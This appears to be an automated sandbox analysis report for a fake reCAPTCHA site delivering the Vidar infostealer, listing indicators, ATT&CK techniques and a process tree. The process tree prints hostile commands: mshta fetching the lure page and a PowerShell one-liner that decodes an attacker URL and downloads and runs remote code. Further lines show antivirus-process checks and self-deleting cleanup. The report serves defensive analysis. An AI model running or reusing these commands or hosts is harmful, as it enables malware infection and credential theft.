vidar | hxxp://recaptha-verify-8u[.]pages[.]dev

Analysis

max time kernel
102s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23/12/2024, 11:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://recaptha-verify-8u.pages.dev

Score

10^/10

vidar credential_access discovery execution spyware stealer

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://recaptha-verify-8u.pages.dev/

Extracted

Language

hta

Source

URLs

hta.dropper

https://recaptha-verify-8u.pages.dev/

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://polovoiinspektor.shop/secure/login.txt

Signatures

Detect Vidar Stealer 8 IoCs

stealer

resource	yara_rule
behavioral1/memory/1128-494-0x0000000004430000-0x0000000004669000-memory.dmp	family_vidar_v7
behavioral1/memory/1128-493-0x0000000004430000-0x0000000004669000-memory.dmp	family_vidar_v7
behavioral1/memory/1128-501-0x0000000004430000-0x0000000004669000-memory.dmp	family_vidar_v7
behavioral1/memory/1128-502-0x0000000004430000-0x0000000004669000-memory.dmp	family_vidar_v7
behavioral1/memory/3116-515-0x0000000004460000-0x0000000004699000-memory.dmp	family_vidar_v7
behavioral1/memory/3116-516-0x0000000004460000-0x0000000004699000-memory.dmp	family_vidar_v7
behavioral1/memory/5436-517-0x0000000004680000-0x00000000048B9000-memory.dmp	family_vidar_v7
behavioral1/memory/5436-518-0x0000000004680000-0x00000000048B9000-memory.dmp	family_vidar_v7

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Blocklisted process makes network request 18 IoCs

flow	pid	Process
58	5728	mshta.exe
60	5728	mshta.exe
63	5996	powershell.exe
65	5996	powershell.exe
69	5996	powershell.exe
71	5996	powershell.exe
73	412	mshta.exe
74	5884	mshta.exe
75	5884	mshta.exe
76	412	mshta.exe
77	5964	powershell.exe
78	5976	powershell.exe
79	5964	powershell.exe
80	5976	powershell.exe
82	5964	powershell.exe
83	5976	powershell.exe
84	5976	powershell.exe
85	5964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
5996	powershell.exe
5964	powershell.exe
5976	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	hjvbgs3h.jvr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	csuvfvj4.ogr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	Conditioning.com
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	uflca01e.b1y.exe

Executes dropped EXE 6 IoCs

pid	Process
5236	uflca01e.b1y.exe
1128	Conditioning.com
2944	hjvbgs3h.jvr.exe
3980	csuvfvj4.ogr.exe
3116	Conditioning.com
5436	Conditioning.com

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
79	raw.githubusercontent.com
80	raw.githubusercontent.com
131	raw.githubusercontent.com
64	raw.githubusercontent.com
65	raw.githubusercontent.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
69	ifconfig.me
82	ifconfig.me
83	ifconfig.me
132	ifconfig.me
68	ifconfig.me

Enumerates processes with tasklist 1 TTPs 8 IoCs

discovery

Process Discovery

T1057

pid	Process
3688	tasklist.exe
4904	tasklist.exe
5040	tasklist.exe
1848	tasklist.exe
2308	tasklist.exe
1372	tasklist.exe
2124	tasklist.exe
220	tasklist.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SteadySpokesman	uflca01e.b1y.exe
File opened for modification	C:\Windows\EndorsementHistoric	uflca01e.b1y.exe
File opened for modification	C:\Windows\SteadySpokesman	hjvbgs3h.jvr.exe
File opened for modification	C:\Windows\ClassifiedsReduction	csuvfvj4.ogr.exe
File opened for modification	C:\Windows\ClassifiedsReduction	uflca01e.b1y.exe
File opened for modification	C:\Windows\SteadySpokesman	csuvfvj4.ogr.exe
File opened for modification	C:\Windows\EndorsementHistoric	hjvbgs3h.jvr.exe
File opened for modification	C:\Windows\EndorsementHistoric	csuvfvj4.ogr.exe
File opened for modification	C:\Windows\ClassifiedsReduction	hjvbgs3h.jvr.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uflca01e.b1y.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csuvfvj4.ogr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Conditioning.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Conditioning.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hjvbgs3h.jvr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Conditioning.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Conditioning.com
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Conditioning.com

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
5096	timeout.exe
5644	timeout.exe
5440	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
372	msedge.exe
372	msedge.exe
2476	msedge.exe
2476	msedge.exe
3744	identity_helper.exe
3744	identity_helper.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
5964	powershell.exe
5964	powershell.exe
5976	powershell.exe
5976	powershell.exe
5976	powershell.exe
5964	powershell.exe
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5996	powershell.exe
Token: SeDebugPrivilege	3688	tasklist.exe
Token: SeDebugPrivilege	4904	tasklist.exe
Token: SeDebugPrivilege	5976	powershell.exe
Token: SeDebugPrivilege	5964	powershell.exe
Token: SeDebugPrivilege	5040	tasklist.exe
Token: SeDebugPrivilege	1848	tasklist.exe
Token: SeDebugPrivilege	2308	tasklist.exe
Token: SeDebugPrivilege	1372	tasklist.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com

Suspicious use of SendNotifyMessage 33 IoCs

pid	Process
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
2476	msedge.exe
1128	Conditioning.com
1128	Conditioning.com
1128	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
3116	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com
5436	Conditioning.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 428	2476	msedge.exe	82
PID 2476 wrote to memory of 428	2476	msedge.exe	82
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 3400	2476	msedge.exe	83
PID 2476 wrote to memory of 372	2476	msedge.exe	84
PID 2476 wrote to memory of 372	2476	msedge.exe	84
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85
PID 2476 wrote to memory of 2084	2476	msedge.exe	85

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument http://recaptha-verify-8u.pages.dev
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff84ce646f8,0x7ff84ce64708,0x7ff84ce64718
  2⤵
  PID:428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2240 /prefetch:2
  2⤵
  PID:3400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2860 /prefetch:8
  2⤵
  PID:2084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:2312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
  2⤵
  PID:1096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4680 /prefetch:1
  2⤵
  PID:2460
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 /prefetch:8
  2⤵
  PID:1400
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
  2⤵
  PID:4044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
  2⤵
  PID:3308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4712 /prefetch:1
  2⤵
  PID:1216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
  2⤵
  PID:232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2188,7723836074654293890,5876981723654638065,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=1804 /prefetch:8
  2⤵
  PID:5680

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1088

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3160

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:5204
- C:\Windows\system32\mshta.exe
  mshta.exe
  2⤵
  PID:5592
- C:\Windows\system32\mshta.exe
  mshta.exe https://recaptha-verify-8u.pages.dev/
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  PID:5728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& {$U=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wb2xvdm9paW5zcGVrdG9yLnNob3Avc2VjdXJlL2xvZ2luLnR4dA=='));$C=(Invoke-WebRequest -Uri $U -UseBasicParsing).Content;$B=[scriptblock]::Create($C);&$B}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5996
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tr2sbdi1\tr2sbdi1.cmdline"
      4⤵
      PID:1832
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD02.tmp" "c:\Users\Admin\AppData\Local\Temp\tr2sbdi1\CSCF0FB839F3BBC4F1FA8F6B6B5E12A53D.TMP"
        5⤵
        
        PID:5384
  - - C:\Users\Admin\AppData\Local\Temp\uflca01e.b1y.exe
      "C:\Users\Admin\AppData\Local\Temp\uflca01e.b1y.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:5236
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Camcorders Camcorders.cmd & Camcorders.cmd
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3720
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3688
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3228
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4904
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5420
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 121759
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5284
      - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Including
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5168
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Contracts" Food
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5928
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Dial + ..\Reaction + ..\Rw + ..\More C
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5528
      - C:\Users\Admin\AppData\Local\Temp\121759\Conditioning.com
        
        Conditioning.com C
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1128
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\121759\Conditioning.com" & rd /s /q "C:\ProgramData\RIWTJMYCJW47" & exit
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6020
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        8⤵
